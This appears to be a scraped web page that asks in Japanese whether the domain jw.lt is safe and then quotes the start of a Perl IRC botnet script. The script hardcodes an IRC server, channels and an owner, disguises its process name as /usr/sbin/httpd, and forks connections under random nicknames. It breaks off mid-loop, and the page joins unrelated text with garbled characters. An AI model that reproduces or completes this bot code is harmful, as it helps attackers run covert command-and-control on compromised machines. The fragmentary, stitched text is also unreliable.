jw.ltは安全ですか？

IRC bot net ###################### my $server = "irc.neolink.org"; my $port = "6667"; my $channel = "#matos,#gaulz"; my $owner = "antony"; my $procname = "/usr/sbin/httpd"; ###################### print STDOUT "� primo StyLe\n"; print STDOUT "\n"; print STDOUT "� Server : $server\n"; print STDOUT "� Port : $port\n"; print STDOUT "� Owner : $owner\n"; print STDOUT "� Channel: $channel\n"; print STDOUT "� IPs : $qtip\n"; print STDOUT "� Matos Allnetwork (matos.jw.lt)\n"; use IO::Socket; foreach my $FROM (@ips) { my $pid = fork(); # gerando um novo processo unless ($pid) { # my $ident = $nickname[rand scalar @nickname]; my $nick = $nickname[rand scalar @nickname]; my $name = $realname[rand scalar @realname];